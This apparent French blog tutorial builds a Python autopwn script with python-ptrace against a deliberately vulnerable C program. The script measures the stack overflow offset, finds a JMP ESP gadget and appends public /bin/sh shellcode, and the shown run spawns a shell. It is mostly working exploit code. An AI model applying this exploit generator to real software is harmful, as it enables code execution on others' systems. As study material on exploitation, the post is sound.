Truck race - Creative Common by tonylanciabeta on Flickr

Tout d'abord résumons le principe du script que l'on souhaite réaliser. En une phrase ce script doit prendre en argument un programme vulnérable à un stack overflow, forger tout seul un payload capable d'exploiter cette vulnérabilité (pour spawner un shell par exemple), puis tenter l'exploitation en boucle jusqu'à ce qu'elle réussisse. Ca c'est la version simple, dans les détails c'est infiniment plus riche et passionant. Mais avant de passer aux détails, voici le programme test pour lequel nous allons tenter de forger automatiquement un exploit4 :

#include <stdio.h>
#include <string.h>

// gcc main.c -mpreferred-stack-boundary=2 -o main

int main(int argc, char * argv[])
{
        char buff[128];

        if(argc<2)
                return 0xffe4;

        strcpy(buff, argv[1]);

        return 0;
}

Bien, on voit rapidement où se situe le stack overflow que l'on souhaite exploiter et comment l'exploiter (pour les plus mauvais en C d'entre vous : il suffit d'envoyer un gros argument en ligne de commande et, s'il est trop gros, il dépassera de la pile lorsqu'il sera copié dans buff par strcpy :) ). Il est maintenant temps de songer sérieusement à la façon dont on va forger l'exploit à passer à ce petit programme !

Premier problème qui se pose à nous : quelle taille est disponible sur la pile avant d'écraser la valeur sauvegardée d'EIP ? En regardant le code source rapidement on se doute que ça ne doit pas être bien loin de 128 octets, mais on va faire semblant de ne pas savoir et on va coder notre script pour qu'il trouve tout seul la taille disponible (après tout le but du jeu c'est aussi de faire un script qui pourrait aider à générer des exploit pour de vrais programme vulnérables à ce type d'attaques). Pour comprendre la méthode proposée dans l'article d'Ivan je vais faire un petit rappel technique5 :

<Rappel>

Les appels de fonctions se terminent toujours par l'enchainement d'instructions assembleurs "LEAVE" puis "RET". Dans notre cas on obtient d'ailleurs ça dans gdb :

$gdb main
(gdb)disass main
[...]
0x08048426 <main+66>:   leave  
0x08048427 <main+67>:   ret
End of assembler dump.

L'instruction LEAVE fait deux choses : elle écrase ESP avec la valeur actuelle d'EBP, puis elle POP la pile et écrase la valeur d'EBP avec l'adresse qu'elle vient de poper (la valeur d'EBP qui avait été sauvegardée avant de rentrer dans la fonction donc). L'instruction RET, quand à elle, POP la pile et écrase la valeur d'EIP avec l'adresse qu'elle vient de poper (la valeur d'EIP qui avait été sauvegardée avant de rentrer dans la fonction donc). En résumé : LEAVE recadre la pile comme elle était dans la fonction appelante, et RET restaure le pointeur d'EIP pour la fonction appelante. Si vous avez suivi vous avez noté que, sur la pile, la sauvegarde d'EBP est juste avant la sauvegarde d'EIP, et c'est ça qui est important. Déterminer quand on va écraser la sauvegarde d'EIP est donc équivalent à déterminer quand on va écraser la sauvegarde d'EBP, à un POP près :)

</Rappel>

Revenons donc à notre script et à sa première tache qui consiste à déterminer quelle taille précise nous avons sur la pile avant d'écraser la valeur sauvegardée d'EIP. Si j'ai tout suivi à l'article que je vous ai cité 6 le script va en fait repérer quand on écrase la valeur sauvegardée d'EBP, puis en déduire qu'un POP au delà on écraserait la valeur sauvegardée d'EIP. Si c'est ce fonctionnement là qui est choisi c'est pour une excellente raison : c'est une méthode simple ! En effet la façon la plus simple d'observer la valeur des registres c'est d'utiliser un breakpoint sur une instruction, or la dernière instruction dont nous disposons aisément c'est le RET du main mais si on break sur cette instruction (juste avant qu'elle ne s'exécute donc) le pointeur d'instruction (EIP) n'est pas encore restauré à sa valeur sauvegardée (puisque c'est justement la tâche de ce RET) alors que le pointeur de base de la pile (EBP), lui, a déjà été restauré (puisque c'était la tâche du LEAVE qui était juste avant) ! Donc il suffit de faire un break sur le RET puis d'observer directement la valeur d'EBP pour savoir que, 4 octets plus loin (à un POP près), on écrasait la valeur sauvegardée d'EIP. C'est la seule méthode envisageable de toute façon puisque si on souhaitait breaker après le RET pour observer directement la valeur d'EIP on devrait breaker sur l'instruction à exécuter juste après le RET, donc sur l'instruction présente à l'adresse que nous avons restaurée sur l'EIP or cette adresse va être écrasée par notre argument et donc il nous faudrai breaker n'importe où dans la mémoire ce qui est impossible sous peine de segfault...

En terme de script celà revient donc à ouvrir l'exécutable en mode debug, trouver le RET de la fonction main, mettre un break point dessus, puis lancer plusieurs fois l'exécution en fournisant à chaque fois un argument plus grand tant que la valeur d'EBP observée au moment du break ne provient pas de notre argument. Une fois qu'on a trouvé un argument assez grand pour aller écraser la valeur d'EBP sauvegardée on a résolu notre premier problème qui consistait à savoir précisément combien de place était disponible sur la pile :) !

Allons-y par petites étapes : D'abord on doit "ouvrir l'exécutable en mode debug"...sauf qu'en python on n'a pas accès à Metasm. Diantre nous voilà bien ennuyé ! Pas grave, on n'a peut-être pas Metasm, mais on a des idées (et surtout on a python-ptrace7, dont vous allez avoir besoin et que vous pouvez obtenir via un simple emerge python-ptrace si vous avez le bon gout d'être sous gentoo). Grace à "python-ptrace" nous allons avoir accès à toutes les fonctions de debug dont nous avons besoin pour jouer sous linux ! Utilisons donc python-ptrace pour "ouvrir l'exécutable en mode debug" :

#!/usr/bin/env python
from ptrace.debugger.debugger import PtraceDebugger
from ptrace.debugger.child import createChild

def load_dbg(prog,arg):
    # ---------------------------------------------------------
    #   Getting things ready
    # ---------------------------------------------------------

    #Create the process we want to debug
    pid = createChild([prog,arg],False,None)

    print '[*] Loading process "'+str(prog)+'" in memory with an arg of size',len(arg)

    # Create the debugger and attach the process
    dbg = PtraceDebugger()
    process = dbg.addProcess(pid, True)

    return (dbg,process)

Il n'y a rien de particulier à comprendre ici, si le sens précis de ces ligne vous intéresse je vous conseille de lire la doc de python-ptrace et les exemples fournis avec qui sont très bien foutus (et dont ces quelques lignes sont très grandement inspirées :) ).

Nous devons ensuite "trouver le RET de la fonction main, mettre un break point dessus, puis lancer plusieurs fois l'exécution tant que la valeur d'EBP observée au moment du break ne provient pas de notre argument". Encore une fois nous sommes ennuyés parce que nous n'avons pas Metasm, et cette fois je dois avouer que je n'ai pas trouvé de méthode propre pour trouver directement le RET de la fonction main. Ma première idée a été d'obtenir le mapping des plages mémoires allouées à notre processus, puis de désassembler entièrement les plages exécutables et de mettre des breakpoint sur tous les RET que j'y trouverai. Malheureusement cette méthode faisait segfaulter systématiquement...je suppose que les désassemblages barbares de toute une plage de mémoire n'était pas très corrects et qu'en plaçant mes breakpoint il m'arrivait en fait de tomber au milieu d'instruction n'étant pas des RET, ce qui amenait aux segfaults... Bref cette solution n'était pas viable et j'ai donc opté pour une méthode "Quick & Dirty" : j'exécute l'intégralité du programme en pas à pas, et j'analyse l'EBP à chaque étape :) Alors oui, c'est extrèmement lent et absolument sans aucune subtilité, mais au moins ça marche (et en plus ça permet de traiter indifféremment des buffer overflow se produisant n'importe où dans le code, et plus seulement dans la fonction main :) ). Donc, voyons ce que ça donne en script python+python-ptrace (là vous pouvez lire plus attentivement le code, ça devient intéressant de voir à quel point python-ptrace se manie bien :) ) :

def get_stacksize(prog, arg):
    # ---------------------------------------------------------
    #   Figuring out what stack size we have
    # ---------------------------------------------------------

    stack_crashed=False
    while not stack_crashed:
        # Enlarge our argument ;-)
        arg=arg+arg[-1:]

        # Getting things ready for debugging
        dbg,process = load_dbg(prog,arg)

        # Start the process, step by step (this is VERY slow)
        while process.running and not stack_crashed:    
            # We check (the dirty way) the EBP value in order to detect the overflow
            if long('0x'+4*(hex(ord(arg[-1:]))[-2:]),16) == process.getreg('ebp'):
                stack_crashed=True
                print '[*] Overflow probably detected for an arg of size',len(arg),'\t\t EBP value : ',hex(process.getreg('ebp'))
            # Make one step
            process.singleStep()
            s=process.waitEvent()
        #now we leave properly
        dbg.quit()
    return len(arg)

A part l'ignoble ligne où je compare la valeur d'EBP avec les 4 derniers charactères de notre argument convertis en hexa puis en entier, le code est quand même relativement simple non ? On n'a donc pas Metasm, mais on s'en sort à peu près !

A ce point nous savons donc ouvrir notre programme en mode debug et nous savons également obtenir la taille d'argument qui va aller écraser l'EIP sauvegardée sur la pile. Il va falloir nous pencher sur la structure de notre exploit à présent. Dans un monde merveilleux notre exploit n'aurait qu'à écrire n'importequoi sur la pile jusqu'à la valeur sauvegardée d'EIP, écrire à cet endroit l'adresse correspondant à "juste après cet endroit même", puis enchainer directement avec notre shellcode :

garbage | Adresse où va se retrouver en mémoire l'octet qui arrive juste après => | shellcode

De cette façon l'exécution sauterait bien dans notre shellcode après l'éxécution du RET. Malheureusement pour nous les noyaux linux intègrent, depuis la version 2.6.17 et jusqu'à la 2.6.30, un placement aléatoire de la stack dans la mémoire8. A cause de ce placement aléatoire de la stack il nous est impossible de déterminer à l'avance à quelle adresse se situera notre shellcode en mémoire lorsque nous le pousserons sur la pile et nous ne pouvons donc pas créer notre exploit comme nous le voulions puisque nous ne savons tout simplement pas quoi mettre pour écraser la valeur sauvegardée d'EIP :( Pas grave, une astuce ultra connue existe et tire parti du fait que la pile est placée aléatoirement en mémoire mais pas le code du programme qui, lui, est toujours à la même place. Le but du jeu est donc de trouver, dans le code du programme, une instruction qui nous arrange puisque, elle, sera toujours au même endroit. L'instruction que nous allons chercher c'est tout simplement un "JMP ESP". En effet si nous parvenons à trouver un "JMP ESP" dans le code du programme et à écrire son adresse dans l'EIP sauvegardée, le flux d'exécution va bien se retrouver détourné vers lui à l'exécution du RET, puis immédiatement après vers notre shellcode qui se trouve justement sur la pile (i.e. : à l'adresse contenue dans ESP). Simple, ultra connu, mais terriblement efficace9 :) Cette méthode nous permet même de conserver la structure d'exploit que nous voulions à un mini détail prêt :

garbage | Adresse d'une instruction JMP ESP quelque part dans les parties fixes de la mémoire du programme | shellcode

Par contre tout ça c'est bien joli, mais maintenant il faut trouver un "JMP ESP" dans les parties de la mémoire qui seront toujours au même endroit et qui sont exécutables (donc typiquement dans le corps du programme). Cette partie là est enfantine avec python-ptrace, et très instinctive : on obtient les plages de mémoires appartenant au programme, pour chacune d'elle on vérifie si elle est exécutable et si tel est le cas on la parcours octet par octet à la recherche de quelque chose qui pourrait être interpretté comme un JMP ESP. Vous pouvez lire le code attentivement,vous verrez que les appels à python-ptrace sont limpides10 :

import re
from sys import exit

def get_jmpesp(prog,arg):   
    # ---------------------------------------------------------
    #   Finding a JMP ESP
    # ---------------------------------------------------------
    dbg,process = load_dbg(prog,arg)
    jmpespaddr=None

    # We get the memory mapping
    maps = process.readMappings()
    for m in maps:
        if re.match('..x.',m.permissions) and jmpespaddr==None:
            print'[*] Searching for a JMP ESP in',hex(m.start),'=>',hex(m.end)
            for cur in range(m.start,m.end):
                code=process.disassembleOne(cur)
                if code.mnemonic=='JMP' and code.operands=='ESP':
                    jmpespaddr=code.address
                    print '[*] JMP ESP found at address',hex(code.address)
    if jmpespaddr==None:
        print '[*] No JMP ESP was found...damned we are doomed !'
        exit(-1)
    dbg.quit()
    return jmpespaddr

Comme vous l'avez constaté je n'utilise pas "disassemble" pour tout désassembler d'un coup, mais "disassembleOne" avec un décalage d'un octet à chaque fois. De cette façon je n'ai pas besoin qu'un JMP ESP existe vraiment dans le code, il me suffit que quelquechose puisse être interpretté comme tel. Typiquement si une constante dans le code avait, par le plus grand des hasard, la même représentation binaire que le code machine JMP ESP, je la trouverai avec disassembleOne et je pourrai l'utiliser en tant que JMP ESP. Ça tombe bien, souvenez vous des sources de notre programme cible : dans le cas où on invoque notre programme de test sans argument il retourne le code d'erreur 0xffe4...devinez à quel code machine ça correspond ;) ? C'est un JMP ESP ! Alors oui c'est une petite bidouille, mais c'est pour le bien de la démonstration et il est à parier que dans des programmes de plus de 10 lignes nous n'aurions pas à insérer artificiellement ce JMP ESP. De toute ce sont les gars de SOGETI eux même qui sont à l'origine de cette bidouille, donc ça colle dans mon envie de copier au plus près leur joli travail :-p

Alors, où en sommes nous ? Nous savons ouvrir le programme en mode débug, nous savons déterminer la taille disponible sur la stack avant d'écraser l'EIP, et nous savons trouver l'adresse d'un JMP ESP pour écraser l'EIP avec. Nous touchons au but :) ! Il ne nous reste plus qu'à trouver un shellcode à proprement parler, à assembler tout ça, et à tester :)

Pour le shellcode je vais grandement m'éloigner de mes inspirateurs puisqu'eux utilisent Metasm pour le compiler à la volée à partir d'assembleur mais moi, puisque je n'ai "que" python-ptrace et pas Metasm, je vais aller au plus court et réutiliser un shellcode public qui spawn /bin/sh.

Pour l'assemblage c'est de la concaténation de chaine...rien de bien sorcier :

def create_shellcode(stack_size, jmpespaddr):
    print '[*] Generating exploit for a stack size of',stack_size, 'and a JMP ESP address of', hex(jmpespaddr)
    # Initial garbage
    exploit='a'*stack_size

    # JMP ESP address to overwrite the saved EIP value on the stack
    low_bit=jmpespaddr%pow(2,8)
    exploit+=chr(low_bit)
    jmpespaddr-=low_bit
    jmpespaddr/=pow(2,8)

    low_bit=jmpespaddr%pow(2,8)
    exploit+=chr(low_bit)
    jmpespaddr-=low_bit
    jmpespaddr/=pow(2,8)

    low_bit=jmpespaddr%pow(2,8)
    exploit+=chr(low_bit)
    jmpespaddr-=low_bit
    jmpespaddr/=pow(2,8)

    low_bit=jmpespaddr%pow(2,8)
    exploit+=chr(low_bit)

    # Shellcode spawning /bin/sh
    raw_sh=("0x6a","0x0b","0x58","0x99","0x52","0x66","0x68","0x2d","0x70","0x89","0xe1","0x52","0x6a","0x68","0x68","0x2f","0x62","0x61","0x73","0x68","0x2f","0x62","0x69","0x6e","0x89","0xe3","0x52","0x51","0x53","0x31","0xc9","0xcd","0x80")
    for op in raw_sh:
        exploit+=chr(int(op,16))

    return exploit

Oui, c'est super moche comme code python, mais il commence à se faire tard et j'ai envie de voir si ma copie de script fonctionne :) ! Plus qu'à lancer notre programme victime et voir si on obtient bien un shell, ça va se faire en rajoutant ces ultimes lignes à mon script python contenant toutes les fonctions que nous avons définies jusqu'à présent :

from os import system

JMP = get_jmpesp('./main','a')
STACK_SIZE = get_stacksize('./main','a')
SH = create_shellcode(STACK_SIZE, JMP)

print '[*] Exploiting...'
while 0!=system("./main "+SH):
    pass

Et on lance enfin le script-copie en python...suspens :

$./pyautopwn.py
[*] Loading process "./main" in memory with an arg of size 1
[*] Searching for a JMP ESP in 0x8048000 => 0x8049000
[*] JMP ESP found at address 0x80483f8L
[*] Loading process "./main" in memory with an arg of size 2
[*] Loading process "./main" in memory with an arg of size 3
(...)
[*] Loading process "./main" in memory with an arg of size 131
[*] Loading process "./main" in memory with an arg of size 132
[*] Overflow probably detected for an arg of size 132    EBP value :  0x61616161L
[*] Generating exploit for a stack size of 132 and a JMP ESP address of 0x80483f8L
[*] Exploiting...
oz@osiris /home/oz/autopwn $ whoami
oz
oz@osiris /home/oz/autopwn $

Victoire de canard ! Comme quoi il était possible de copier ce script en pure python, même s'il est bien moins beau et bien moins puissant. C'est encore une petite satisfaction personnelle de voir que j'ai pas mal progressé en technique depuis ces dernières années. Les améliorations possible pour ce script sont d'ailleurs nombreuses :

  • Passer le nom du programme et ses arguments initiaux en ligne de commande. Tout est déjà dans le code pour ça et pour supporter l'envoi d'arguments réels avant l'argument à faire grossir, il n'y a qu'une poignée de modification mineures à apporter.
  • N'exécuter qu'une fois le programme en pas à pas et noter à cette occasion où se situent les vrais RET. Pour les exécutions suivantes on ne breakerait qu'aux adresses de ces RET et non plus à chaque pas. Ca pourrait drastiquement accélérer le processus !
  • Nettoyer un peu (je pense en particulier à la comparaison d'EBP avec la valeur hexa de mon argument ainsi qu'à la création de l'exploit par concaténation...)
  • Je laisse votre imagination travailler !!!

sylv1daltair le 2010/07/08 21:29

Et les comparaisons de perf entre ruby et python???
Pour troller un peu ;-)

  1. et il est clair que je reviendrai au SSTIC l'an prochain si j'ai le temps, l'argent, et assez de reflexes pour attraper une place avant la rupture de stock.
  2. Il a d'ailleurs été suivi d'un autre sur le même thème. Comme quoi je ne suis pas le seul à avoir été inspiré :)
  3. Metasm aussi est en ruby d'ailleurs
  4. Dans le souci de coller au plus près au travail de Ivan j'ai utilisé très exactement le même programme...à la différence près que moi j'ai bien des '#' devant mes include, et pas des '$', et que je retourne 0xffe4 à la place de 0 en cas d'absence d'argument...on verra pourquoi plus tard ;)
  5. Sans ce rappel moi je n'avais pas compris, je vous épargne donc juste le googlage.
  6. ce qui n'est pas certain :D
  7. D'ailleurs je vous recommande le blog de son auteur principal, même s'il n'est mis à jour que très rarement
  8. Après la 2.6.30 c'est un placement aléatoire complet de la mémoire, plus uniquement de la stack.
  9. Tout du moins jusqu'aux noyaux 2.6.30 exclus. Après ça ne marche plus puisque toutes les zones mémoire sont placées aléatoirement et non plus juste la pile. Il est alors impossible de deviner à l'avance l'adresse d'un JMP ESP, même contenu dans le code du programme.
  10. Si ça ça ne vous donne pas envie de jouer avec python-ptrace, voire d'y contribuer, je ne sais pas ce qu'il vous faut :-p !